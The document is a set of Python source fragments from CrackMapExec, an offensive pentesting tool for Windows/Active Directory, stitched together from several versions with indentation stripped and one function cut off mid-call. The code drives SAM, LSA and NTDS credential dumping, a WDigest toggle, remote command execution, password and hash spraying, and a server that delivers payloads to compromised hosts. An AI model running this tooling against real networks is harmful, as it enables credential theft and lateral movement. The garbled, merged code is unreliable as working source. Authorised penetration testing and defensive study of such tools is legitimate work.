def do_GET(self):
current_module = self.server.host_chain[self.client_address[0]][0]
if hasattr(current_module, 'on_request'):
module_list = self.server.host_chain[self.client_address[0]][:]
module_list.reverse()
final_launcher = module_list[0].launcher(
self.server.context,
None if not hasattr(module_list[0], 'command') else
module_list[0].command)
if len(module_list) > 2:
for module in module_list:
if module == current_module or module == module_list[0]:
continue
server_logger = CMEAdapter(
getLogger('CME'), {
'module': module.name.upper(),
'host': self.client_address[0]
})
self.server.context.log = server_logger
final_launcher = module.launcher(self.server.context,
final_launcher)
server_logger = CMEAdapter(
getLogger('CME'), {
'module': current_module.name.upper(),
'host': self.client_address[0]
})
self.server.context.log = server_logger
if current_module == module_list[0]:
final_launcher = None if not hasattr(
module_list[0], 'command') else module_list[0].command
launcher = current_module.launcher(self.server.context,
final_launcher)
payload = current_module.payload(self.server.context,
final_launcher)
current_module.on_request(self.server.context, self, launcher,
payload)
if not hasattr(current_module, 'on_response'):
try:
del self.server.host_chain[self.client_address[0]][0]
except KeyError or IndexError:
pass
def proto_logger(self):
self.logger = CMEAdapter(extra={
'protocol': "SMB",
'host': self.host,
'port': "445",
'hostname': self.hostname
})
def __init__(self, module, context, logger, srv_host, port, server_type='https'):
try:
threading.Thread.__init__(self)
self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler)
self.server.hosts = []
self.server.module = module
self.server.context = context
self.server.log = CMEAdapter(extra={'module': self.server.module.name.upper()})
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
self.server.track_host = self.track_host
logging.debug('CME server type: ' + server_type)
if server_type == 'https':
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)
except Exception as e:
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
else:
logger.error('Error starting HTTP(S) server: {}'.format(message))
sys.exit(1)
def log_message(self, format, *args):
server_logger = CMEAdapter(
extra={
'module': self.server.module.name.upper(),
'host': self.client_address[0]
})
server_logger.info("- - %s" % (format % args))
def proto_logger(self, host, port, hostname):
self.logger = CMEAdapter(extra={
'protocol': 'LDAP',
'host': host,
'port': port,
'hostname': hostname
})
def init_module(self, module_path):
module = None
server = None
context = None
module = self.load_module(module_path)
if module:
module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper()})
context = Context(self.db, module_logger, self.args)
module_options = {}
for option in self.args.module_options:
key, value = option.split('=', 1)
module_options[str(key).upper()] = value
module.options(context, module_options)
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
if hasattr(module, 'required_server'):
args.server = getattr(module, 'required_server')
if not self.server_port:
self. server_port = self.args.server_port
server = CMEServer(module, context, self.logger, self.args.server_host, self.server_port, self.args.server)
server.start()
return module, context, server
def proto_logger(self):
self.logger = CMEAdapter(extra={
'protocol': 'SMB',
'host': self.host,
'port': self.args.port,
'hostname': self.hostname
})
def call_modules(self):
module_logger = CMEAdapter(
extra={
'module': self.module.name.upper(),
'host': self.host,
'port': self.args.port,
'hostname': self.hostname
})
context = Context(self.db, module_logger, self.args)
context.localip = self.local_ip
if hasattr(self.module, 'on_request') or hasattr(
self.module, 'has_response'):
self.server.connection = self
self.server.context.localip = self.local_ip
if hasattr(self.module, 'on_login'):
self.module.on_login(context, self)
if self.admin_privs and hasattr(self.module, 'on_admin_login'):
self.module.on_admin_login(context, self)
if (not hasattr(self.module, 'on_request')
and not hasattr(self.module, 'has_response')) and hasattr(
self.module, 'on_shutdown'):
self.module.on_shutdown(context, self)
def log_message(self, format, *args):
module = self.server.host_chain[self.client_address[0]][0]
server_logger = CMEAdapter(getLogger('CME'), {
'module': module.name.upper(),
'host': self.client_address[0]
})
server_logger.info("- - %s" % (format % args))
def proto_logger(self):
self.logger = CMEAdapter(
extra={
'protocol': 'WINRM',
'host': self.host,
'port': 'NONE',
'hostname': 'NONE'
})
def proto_logger(self, port):
self.logger = CMEAdapter(
extra={
'protocol': 'HTTP',
'host': gethostbyname(self.host),
'port': port,
'hostname': None
})
def proto_logger(self):
#print 'Filename: ' + sys._getframe(0).f_code.co_filename + ' Method: ' + sys._getframe(0).f_code.co_name
self.logger = CMEAdapter(extra={
'protocol': 'WMI',
'host': self.host,
'port': self.args.port,
'hostname': self.hostname
})
def do_POST(self):
if hasattr(self.server.module, 'on_response'):
server_logger = CMEAdapter(
extra={
'module': self.server.module.name.upper(),
'host': self.client_address[0]
})
self.server.context.log = server_logger
self.server.module.on_response(self.server.context, self)
def do_GET(self):
if hasattr(self.server.module, 'on_request'):
server_logger = CMEAdapter(
getLogger('CME'), {
'module': self.server.module.name.upper(),
'host': self.client_address[0]
})
self.server.context.log = server_logger
self.server.module.on_request(self.server.context, self)
def module_logger(self, module):
# recreating the context necessary for send_fake_response()
module_log = CMEAdapter(extra={
'module': module.name.upper(),
'host': self.host,
'port': self.args.port,
'hostname': self.hostname
})
self.db.add_computer(self.host, self.hostname, 'XXX', 'Vindovs')
context = Context(self.db, module_log, self.args)
return context
def init_module_chain(self):
server_port_dict = {'http': 80, 'https': 443}
modules = self.get_modules()
#Initialize all modules specified in the chain command and add the objects to chain_list
for chained_module in self.chain_list:
for module in modules:
if module.lower() == chained_module['name'].lower():
chained_module['object'] = self.load_module(
modules[module]['path'])
for module in self.chain_list:
module_logger = CMEAdapter(getLogger('CME'),
{'module': module['name'].upper()})
context = Context(self.db, module_logger, self.args)
if module['object'] != self.chain_list[-1]['object']:
module['options']['COMMAND'] = 'dont notice me senpai'
getattr(module['object'], 'options')(context, module['options'])
if hasattr(module['object'], 'required_server'):
self.args.server = getattr(module['object'], 'required_server')
if not self.args.server_port:
self.args.server_port = server_port_dict[self.args.server]
if self.is_module_chain_sane():
server_logger = CMEAdapter(getLogger('CME'),
{'module': 'CMESERVER'})
context = Context(self.db, server_logger, self.args)
server = CMEChainServer(self.chain_list, context, self.logger,
self.args.server_host,
self.args.server_port, self.args.server)
server.start()
return self.chain_list, server
return None, None
def do_POST(self):
self.server.log.debug(self.server.host_chain)
module = self.server.host_chain[self.client_address[0]][0]
if hasattr(module, 'on_response'):
server_logger = CMEAdapter(getLogger('CME'), {
'module': module.name.upper(),
'host': self.client_address[0]
})
self.server.context.log = server_logger
module.on_response(self.server.context, self)
try:
del self.server.host_chain[self.client_address[0]][0]
except KeyError or IndexError:
pass
def init_module(self, module_path):
module = None
server = None
context = None
server_port_dict = {'http': 80, 'https': 443}
module = self.load_module(module_path)
if module:
module_logger = CMEAdapter(getLogger('CME'),
{'module': module.name.upper()})
context = Context(self.db, module_logger, self.args)
module_options = {}
for option in self.args.module_options:
if '=' not in option:
self.logger.error(
'All module options should be in KEY=VALUE format, use the --show-options flag to view available module options'
)
sys.exit(1)
key, value = option.split('=', 1)
module_options[str(key).upper()] = value
module.options(context, module_options)
if hasattr(module, 'on_request') or hasattr(
module, 'has_response'):
if hasattr(module, 'required_server'):
self.args.server = getattr(module, 'required_server')
if not self.args.server_port:
self.args.server_port = server_port_dict[self.args.server]
server = CMEServer(module, context, self.logger,
self.args.server_host,
self.args.server_port, self.args.server)
server.start()
return module, context, server
def init_module(self, module_path):
module = None
module = self.load_module(module_path)
if module:
module_logger = CMEAdapter(extra={'module': module.name.upper()})
context = Context(self.db, module_logger, self.args)
module_options = {}
for option in self.args.module_options:
key, value = option.split('=', 1)
module_options[str(key).upper()] = value
module.options(context, module_options)
return module
def do_GET(self):
if hasattr(self.server.module, 'on_request'):
server_logger = CMEAdapter(
getLogger('CME'), {
'module': self.server.module.name.upper(),
'host': self.client_address[0]
})
self.server.context.log = server_logger
launcher = self.server.module.launcher(
self.server.context,
None if not hasattr(self.server.module, 'command') else
self.server.module.command)
payload = self.server.module.payload(
self.server.context,
None if not hasattr(self.server.module, 'command') else
self.server.module.command)
self.server.module.on_request(self.server.context, self, launcher,
payload)
def proto_flow(self):
if self.create_conn_obj():
self.enum_host_info()
self.proto_logger()
self.print_host_info()
self.login()
if hasattr(self.args, 'module') and self.args.module:
module_logger = CMEAdapter(
extra={
'module': self.module.name.upper(),
'host': self.host,
'port': self.args.smb_port,
'hostname': self.hostname
})
context = Context(self.db, module_logger, self.args)
context.localip = self.local_ip
if hasattr(self.module, 'on_request') or hasattr(
self.module, 'has_response'):
self.server.connection = self
self.server.context.localip = self.local_ip
if hasattr(self.module, 'on_login'):
self.module.on_login(context, self)
if self.admin_privs and hasattr(self.module, 'on_admin_login'):
self.module.on_admin_login(context, self)
if (not hasattr(self.module, 'on_request') and
not hasattr(self.module, 'has_response')) and hasattr(
self.module, 'on_shutdown'):
self.module.on_shutdown(context, self)
else:
self.call_cmd_args()
def main():
VERSION = '3.1.5dev'
CODENAME = '\'Smidge\''
parser = argparse.ArgumentParser(
description="""
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
/ || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / |
| ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----'
| | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | |
| `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----.
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
Inspired by:
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
{}: {}
{}: {}
""".format(highlight('Version', 'red'), highlight(VERSION),
highlight('Codename', 'red'), highlight(CODENAME)),
formatter_class=RawTextHelpFormatter,
version='{} - {}'.format(VERSION, CODENAME),
epilog="Y'all got any more of that smidge left?")
parser.add_argument(
"target",
nargs='*',
type=str,
help=
"The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets"
)
parser.add_argument(
"-t",
type=int,
dest="threads",
default=100,
help="Set how many concurrent threads to use (default: 100)")
parser.add_argument(
'-id',
metavar="CRED_ID",
nargs='+',
default=[],
type=str,
dest='cred_id',
help='Database credential ID(s) to use for authentication')
parser.add_argument("-u",
metavar="USERNAME",
dest='username',
nargs='+',
default=[],
help="Username(s) or file(s) containing usernames")
ddgroup = parser.add_mutually_exclusive_group()
ddgroup.add_argument("-d",
metavar="DOMAIN",
dest='domain',
type=str,
help="Domain name")
ddgroup.add_argument("--local-auth",
action='store_true',
help='Authenticate locally to each target')
msgroup = parser.add_mutually_exclusive_group()
msgroup.add_argument("-p",
metavar="PASSWORD",
dest='password',
nargs='+',
default=[],
help="Password(s) or file(s) containing passwords")
msgroup.add_argument(
"-H",
metavar="HASH",
dest='hash',
nargs='+',
default=[],
help='NTLM hash(es) or file(s) containing NTLM hashes')
mcgroup = parser.add_mutually_exclusive_group()
mcgroup.add_argument("-M",
"--module",
metavar='MODULE',
help='Payload module to use')
parser.add_argument('-o',
metavar='MODULE_OPTION',
nargs='+',
default=[],
dest='module_options',
help='Payload module options')
parser.add_argument('-L',
'--list-modules',
action='store_true',
help='List available modules')
parser.add_argument('--show-options',
action='store_true',
help='Display module options')
parser.add_argument("--share",
metavar="SHARE",
default="C$",
help="Specify a share (default: C$)")
parser.add_argument("--smb-port",
type=int,
choices={139, 445},
default=445,
help="SMB port (default: 445)")
parser.add_argument("--mssql-port",
default=1433,
type=int,
metavar='PORT',
help='MSSQL port (default: 1433)')
parser.add_argument("--server",
choices={'http', 'https'},
default='https',
help='Use the selected server (default: https)')
parser.add_argument("--server-host",
type=str,
default='0.0.0.0',
metavar='HOST',
help='IP to bind the server to (default: 0.0.0.0)')
parser.add_argument("--server-port",
metavar='PORT',
type=int,
help='Start the server on the specified port')
parser.add_argument(
"--timeout",
default=20,
type=int,
help='Max timeout in seconds of each thread (default: 20)')
fail_group = parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit",
metavar='LIMIT',
type=int,
help='Max number of global failed login attempts')
fail_group.add_argument(
"--ufail-limit",
metavar='LIMIT',
type=int,
help='Max number of failed login attempts per username')
fail_group.add_argument(
"--fail-limit",
metavar='LIMIT',
type=int,
help='Max number of failed login attempts per host')
parser.add_argument("--verbose",
action='store_true',
help="Enable verbose output")
rgroup = parser.add_argument_group("Credential Gathering",
"Options for gathering credentials")
rgroup.add_argument("--sam",
action='store_true',
help='Dump SAM hashes from target systems')
rgroup.add_argument("--lsa",
action='store_true',
help='Dump LSA secrets from target systems')
rgroup.add_argument(
"--ntds",
choices={'vss', 'drsuapi'},
help=
"Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)"
)
rgroup.add_argument("--ntds-history",
action='store_true',
help='Dump NTDS.dit password history')
rgroup.add_argument(
"--ntds-pwdLastSet",
action='store_true',
help='Shows the pwdLastSet attribute for each NTDS.dit account')
rgroup.add_argument(
"--wdigest",
choices={'enable', 'disable'},
help=
"Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
)
egroup = parser.add_argument_group("Mapping/Enumeration",
"Options for Mapping/Enumerating")
egroup.add_argument("--shares",
action="store_true",
help="Enumerate shares and access")
egroup.add_argument('--uac', action='store_true', help='Checks UAC status')
egroup.add_argument("--sessions",
action='store_true',
help='Enumerate active sessions')
egroup.add_argument('--disks', action='store_true', help='Enumerate disks')
egroup.add_argument("--users", action='store_true', help='Enumerate users')
egroup.add_argument(
"--rid-brute",
nargs='?',
const=4000,
metavar='MAX_RID',
help='Enumerate users by bruteforcing RID\'s (default: 4000)')
egroup.add_argument("--pass-pol",
action='store_true',
help='Dump password policy')
egroup.add_argument("--lusers",
action='store_true',
help='Enumerate logged on users')
egroup.add_argument("--wmi",
metavar='QUERY',
type=str,
help='Issues the specified WMI query')
egroup.add_argument("--wmi-namespace",
metavar='NAMESPACE',
default='//./root/cimv2',
help='WMI Namespace (default: //./root/cimv2)')
sgroup = parser.add_argument_group("Spidering",
"Options for spidering shares")
sgroup.add_argument("--spider",
metavar='FOLDER',
nargs='?',
const='.',
type=str,
help='Folder to spider (default: root directory)')
sgroup.add_argument("--content",
action='store_true',
help='Enable file content searching')
sgroup.add_argument("--exclude-dirs",
type=str,
metavar='DIR_LIST',
default='',
help='Directories to exclude from spidering')
esgroup = sgroup.add_mutually_exclusive_group()
esgroup.add_argument(
"--pattern",
nargs='+',
help='Pattern(s) to search for in folders, filenames and file content')
esgroup.add_argument(
"--regex",
nargs='+',
help='Regex(s) to search for in folders, filenames and file content')
sgroup.add_argument("--depth",
type=int,
default=10,
help='Spider recursion depth (default: 10)')
cgroup = parser.add_argument_group("Command Execution",
"Options for executing commands")
cgroup.add_argument(
'--exec-method',
choices={"wmiexec", "smbexec", "atexec"},
default=None,
help=
"Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)"
)
cgroup.add_argument(
'--force-ps32',
action='store_true',
help='Force the PowerShell command to run in a 32-bit process')
cgroup.add_argument('--no-output',
action='store_true',
help='Do not retrieve command output')
xxxgroup = cgroup.add_mutually_exclusive_group()
xxxgroup.add_argument("-x",
metavar="COMMAND",
dest='execute',
help="Execute the specified command")
xxxgroup.add_argument("-X",
metavar="PS_COMMAND",
dest='ps_execute',
help='Execute the specified PowerShell command')
mgroup = parser.add_argument_group(
"MSSQL Interaction", "Options for interacting with MSSQL DBs")
mgroup.add_argument(
"--mssql",
action='store_true',
help=
'Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs'
)
mgroup.add_argument("--mssql-query",
metavar='QUERY',
type=str,
help='Execute the specifed query against the MSSQL DB')
mgroup.add_argument(
"--mssql-auth",
choices={'windows', 'normal'},
default='windows',
help='MSSQL authentication type to use (default: windows)')
logger = CMEAdapter(setup_logger())
first_run_setup(logger)
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
cme_path = os.path.expanduser('~/.cme')
module = None
server = None
context = None
targets = []
args = parser.parse_args()
if args.verbose:
setup_debug_logger()
logging.debug(vars(args))
db_path = os.path.join(cme_path, 'cme.db')
# set the database connection to autocommit w/ isolation level
db_connection = sqlite3.connect(db_path, check_same_thread=False)
db_connection.text_factory = str
db_connection.isolation_level = None
db = CMEDatabase(db_connection)
if args.username:
for user in args.username:
if os.path.exists(user):
args.username.remove(user)
args.username.append(open(user, 'r'))
if args.password:
for passw in args.password:
if os.path.exists(passw):
args.password.remove(passw)
args.password.append(open(passw, 'r'))
elif args.hash:
for ntlm_hash in args.hash:
if os.path.exists(ntlm_hash):
args.hash.remove(ntlm_hash)
args.hash.append(open(ntlm_hash, 'r'))
if args.cred_id:
for cred_id in args.cred_id:
if '-' in str(cred_id):
start_id, end_id = cred_id.split('-')
try:
for n in range(int(start_id), int(end_id) + 1):
args.cred_id.append(n)
args.cred_id.remove(cred_id)
except Exception as e:
logger.error(
'Error parsing database credential id: {}'.format(e))
sys.exit(1)
for target in args.target:
if os.path.exists(target):
with open(target, 'r') as target_file:
for target_entry in target_file:
targets.extend(parse_targets(target_entry))
else:
targets.extend(parse_targets(target))
if args.list_modules or args.show_options:
loader = ModuleLoader(args, db, logger)
modules = loader.get_modules()
if args.list_modules:
for m in modules:
logger.info('{:<20} {}'.format(m, modules[m]['description']))
sys.exit(0)
elif args.module and args.show_options:
for m in modules.keys():
if args.module.lower() == m.lower():
logger.info('{} module options:\n{}'.format(
m, modules[m]['options']))
sys.exit(0)
if args.module:
if os.geteuid() != 0:
logger.error(
"I'm sorry {}, I'm afraid I can't let you do that (cause I need root)"
.format(getuser()))
sys.exit(1)
loader = ModuleLoader(args, db, logger)
modules = loader.get_modules()
if args.module:
for m in modules.keys():
if args.module.lower() == m.lower():
module, context, server = loader.init_module(
modules[m]['path'])
try:
'''
Open all the greenlet (as supposed to redlet??) threads
Whoever came up with that name has a fetish for traffic lights
'''
pool = Pool(args.threads)
jobs = [
pool.spawn(Connection, args, db, str(target), module, server)
for target in targets
]
#Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
if args.ntds or args.spider:
joinall(jobs)
elif not args.ntds:
for job in jobs:
job.join(timeout=args.timeout)
except KeyboardInterrupt:
pass
if server:
server.shutdown()
logger.info('KTHXBYE!')
def connector(target, args, db, module, context, cmeserver):
try:
smb = SMBConnection(target, target, None, args.smb_port)
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
#Get the remote ip address (in case the target is a hostname)
remote_ip = smb.getRemoteHost()
try:
smb.login('' , '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
domain = smb.getServerDomain()
servername = smb.getServerName()
serveros = smb.getServerOS()
if not domain:
domain = servername
db.add_host(remote_ip, servername, domain, serveros)
logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)})
logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8')))
try:
'''
DC's seem to want us to logoff first
Windows workstations sometimes reset the connection, so we handle both cases here
(go home Windows, you're drunk)
'''
smb.logoff()
except NetBIOSError:
pass
except socket.error:
pass
if args.mssql:
instances = None
logger.extra['port'] = args.mssql_port
ms_sql = tds.MSSQL(target, args.mssql_port, logger)
ms_sql.connect()
instances = ms_sql.getInstances(10)
if len(instances) > 0:
logger.info("Found {} MSSQL instance(s)".format(len(instances)))
for i, instance in enumerate(instances):
logger.highlight("Instance {}".format(i))
for key in instance.keys():
logger.highlight(key + ":" + instance[key])
try:
ms_sql.disconnect()
except:
pass
if args.username and (args.password or args.hash):
conn = None
if args.mssql and (instances is not None and len(instances) > 0):
conn = tds.MSSQL(target, args.mssql_port, logger)
conn.connect()
elif not args.mssql:
conn = SMBConnection(target, target, None, args.smb_port)
if conn is None:
return
if args.domain:
domain = args.domain
connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver)
if (connection.password is not None or connection.hash is not None) and connection.username is not None:
if module is not None:
module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername})
context = Context(db, module_logger, args)
context.localip = local_ip
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
cmeserver.server.context.localip = local_ip
if hasattr(module, 'on_login'):
module.on_login(context, connection)
if hasattr(module, 'on_admin_login') and connection.admin_privs:
module.on_admin_login(context, connection)
else:
if connection.admin_privs and (args.pscommand or args.command):
get_output = True if args.no_output is False else False
if args.mssql: args.exec_method = 'mssqlexec'
if args.command:
output = connection.execute(args.command, get_output=get_output)
if args.pscommand:
output = connection.execute(create_ps_command(args.pscommand), get_output=get_output)
logger.success('Executed command {}'.format('via {}'.format(args.exec_method) if args.exec_method else ''))
buf = StringIO(output).readlines()
for line in buf:
logger.highlight(line.strip())
if args.mssql and args.mssql_query:
conn.sql_query(args.mssql_query)
query_output = conn.printRows()
logger.success('Executed MSSQL query')
buf = StringIO(query_output).readlines()
for line in buf:
logger.highlight(line.strip())
elif not args.mssql:
if connection.admin_privs and (args.sam or args.lsa or args.ntds):
secrets_dump = DumpSecrets(connection, logger)
if args.sam:
secrets_dump.SAM_dump()
if args.lsa:
secrets_dump.LSA_dump()
if args.ntds:
secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history)
if connection.admin_privs and args.wdigest:
w_digest = WDIGEST(logger, connection.conn)
if args.wdigest == 'enable':
w_digest.enable()
elif args.wdigest == 'disable':
w_digest.disable()
if connection.admin_privs and args.uac:
UAC(connection.conn, logger).enum()
if args.spider:
spider = SMBSpider(logger, connection, args)
spider.spider(args.spider, args.depth)
spider.finish()
if args.enum_shares:
ShareEnum(connection.conn, logger).enum()
if args.enum_lusers or args.enum_disks or args.enum_sessions:
rpc_connection = RPCQUERY(connection, logger)
if args.enum_lusers:
rpc_connection.enum_lusers()
if args.enum_sessions:
rpc_connection.enum_sessions()
if args.enum_disks:
rpc_connection.enum_disks()
if args.pass_pol:
PassPolDump(logger, args.smb_port, connection).enum()
if args.enum_users:
SAMRDump(logger, args.smb_port, connection).enum()
if connection.admin_privs and args.wmi_query:
WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query)
if args.rid_brute:
LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force()
except socket.error:
return
import asyncio
import aioconsole
import functools
import configparser
import cme.helpers.powershell as powershell
import cme
import shutil
import webbrowser
import sqlite3
import random
import os
import sys
import logging
setup_logger()
logger = CMEAdapter()
async def monitor_threadpool(pool, targets):
logging.debug('Started thread poller')
while True:
try:
text = await aioconsole.ainput("")
if text == "":
pool_size = pool._work_queue.qsize()
finished_threads = len(targets) - pool_size
percentage = Decimal(finished_threads) / Decimal(
len(targets)) * Decimal(100)
logger.info(
f"completed: {percentage:.2f}% ({finished_threads}/{len(targets)})"
def main():
setup_logger()
logger = CMEAdapter()
first_run_setup(logger)
args = gen_cli_args()
if args.darrell:
links = open(os.path.join(os.path.dirname(cme.__file__), 'data', 'videos_for_darrell.harambe')).read().splitlines()
try:
webbrowser.open(random.choice(links))
except:
sys.exit(1)
cme_path = os.path.expanduser('~/.cme')
config = ConfigParser()
config.read(os.path.join(cme_path, 'cme.conf'))
module = None
module_server = None
targets = []
jitter = None
server_port_dict = {'http': 80, 'https': 443, 'smb': 445}
current_workspace = config.get('CME', 'workspace')
if args.verbose:
setup_debug_logger()
logging.debug('Passed args:\n' + pformat(vars(args)))
if args.jitter:
if '-' in args.jitter:
start, end = args.jitter.split('-')
jitter = (int(start), int(end))
else:
jitter = (0, int(args.jitter))
if hasattr(args, 'username') and args.username:
for user in args.username:
if os.path.exists(user):
args.username.remove(user)
args.username.append(open(user, 'r'))
if hasattr(args, 'password') and args.password:
for passw in args.password:
if os.path.exists(passw):
args.password.remove(passw)
args.password.append(open(passw, 'r'))
elif hasattr(args, 'hash') and args.hash:
for ntlm_hash in args.hash:
if os.path.exists(ntlm_hash):
args.hash.remove(ntlm_hash)
args.hash.append(open(ntlm_hash, 'r'))
if hasattr(args, 'cred_id') and args.cred_id:
for cred_id in args.cred_id:
if '-' in str(cred_id):
start_id, end_id = cred_id.split('-')
try:
for n in range(int(start_id), int(end_id) + 1):
args.cred_id.append(n)
args.cred_id.remove(cred_id)
except Exception as e:
logger.error('Error parsing database credential id: {}'.format(e))
sys.exit(1)
if hasattr(args, 'target') and args.target:
for target in args.target:
if os.path.exists(target):
with open(target, 'r') as target_file:
for target_entry in target_file:
targets.extend(parse_targets(target_entry))
else:
targets.extend(parse_targets(target))
# The following is a quick hack for the powershell obfuscation functionality, I know this is yucky
if hasattr(args, 'clear_obfscripts') and args.clear_obfscripts:
shutil.rmtree(os.path.expanduser('~/.cme/obfuscated_scripts/'))
os.mkdir(os.path.expanduser('~/.cme/obfuscated_scripts/'))
logger.success('Cleared cached obfuscated PowerShell scripts')
if hasattr(args, 'obfs') and args.obfs:
powershell.obfuscate_ps_scripts = True
p_loader = protocol_loader()
protocol_path = p_loader.get_protocols()[args.protocol]['path']
protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database')
db_path = os.path.join(cme_path, 'workspaces', current_workspace, args.protocol + '.db')
# set the database connection to autocommit w/ isolation level
db_connection = sqlite3.connect(db_path, check_same_thread=False)
db_connection.text_factory = str
db_connection.isolation_level = None
db = protocol_db_object(db_connection)
if hasattr(args, 'module'):
loader = module_loader(args, db, logger)
if args.list_modules:
modules = loader.get_modules()
for name, props in sorted(modules.items()):
logger.info('{:<25} {}'.format(name, props['description']))
sys.exit(0)
elif args.module and args.show_module_options:
modules = loader.get_modules()
for name, props in modules.items():
if args.module.lower() == name.lower():
logger.info('{} module options:\n{}'.format(name, props['options']))
sys.exit(0)
elif args.module:
modules = loader.get_modules()
for name, props in modules.items():
if args.module.lower() == name.lower():
module = loader.init_module(props['path'])
setattr(protocol_object, 'module', module)
break
if not module:
logger.error('Module not found')
exit(1)
if getattr(module, 'opsec_safe') is False:
ans = raw_input(highlight('[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red'))
if ans.lower() not in ['y', 'yes', '']:
sys.exit(1)
if getattr(module, 'multiple_hosts') is False and len(targets) > 1:
ans = raw_input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red'))
if ans.lower() not in ['y', 'yes', '']:
sys.exit(1)
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
if hasattr(module, 'required_server'):
args.server = getattr(module, 'required_server')
if not args.server_port:
args.server_port = server_port_dict[args.server]
context = Context(db, logger, args)
module_server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server)
module_server.start()
setattr(protocol_object, 'server', module_server.server)
try:
'''
Open all the greenlet (as supposed to redlet??) threads
Whoever came up with that name has a fetish for traffic lights
'''
pool = Pool(args.threads)
jobs = []
for target in targets:
jobs.append(pool.spawn(protocol_object, args, db, str(target)))
if jitter:
value = random.choice(range(jitter[0], jitter[1]))
logging.debug("Doin' the Jitterbug for {} seconds".format(value))
sleep(value)
for job in jobs:
job.join(timeout=args.timeout)
except KeyboardInterrupt:
pass
if module_server: module_server.shutdown()
def __init__(self, args, db, host, module, cmeserver):
self.args = args
self.db = db
self.host = host
self.module = module
self.cmeserver = cmeserver
self.conn = None
self.hostname = None
self.domain = None
self.server_os = None
self.logger = None
self.password = None
self.username = None
self.hash = None
self.admin_privs = False
self.failed_logins = 0
try:
smb = SMBConnection(self.host, self.host, None, self.args.smb_port)
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
#Get the remote ip address (in case the target is a hostname)
remote_ip = smb.getRemoteHost()
try:
smb.login('' , '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
self.host = remote_ip
self.domain = smb.getServerDomain()
self.hostname = smb.getServerName()
self.server_os = smb.getServerOS()
if not self.domain:
self.domain = self.hostname
self.db.add_host(self.host, self.hostname, self.domain, self.server_os)
self.logger = CMEAdapter(getLogger('CME'), {
'host': self.host,
'port': self.args.smb_port,
'hostname': u'{}'.format(self.hostname)
})
self.logger.info(u"{} (name:{}) (domain:{})".format(
self.server_os,
self.hostname.decode('utf-8'),
self.domain.decode('utf-8')
))
try:
'''
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
(go home Windows, you're drunk)
'''
smb.logoff()
except:
pass
if self.args.mssql:
instances = None
self.logger.extra['port'] = self.args.mssql_port
mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
mssql.connect()
instances = mssql.getInstances(10)
if len(instances) > 0:
self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
for i, instance in enumerate(instances):
self.logger.highlight("Instance {}".format(i))
for key in instance.keys():
self.logger.highlight(key + ":" + instance[key])
try:
mssql.disconnect()
except:
pass
if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:
if self.args.mssql and (instances is not None and len(instances) > 0):
self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
self.conn.connect()
elif not args.mssql:
self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)
except socket.error:
pass
if self.conn:
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.login()
if ((self.password is not None or self.hash is not None) and self.username is not None):
if self.module:
module_logger = CMEAdapter(getLogger('CME'), {
'module': module.name.upper(),
'host': self.host,
'port': self.args.smb_port,
'hostname': self.hostname
})
context = Context(self.db, module_logger, self.args)
context.localip = local_ip
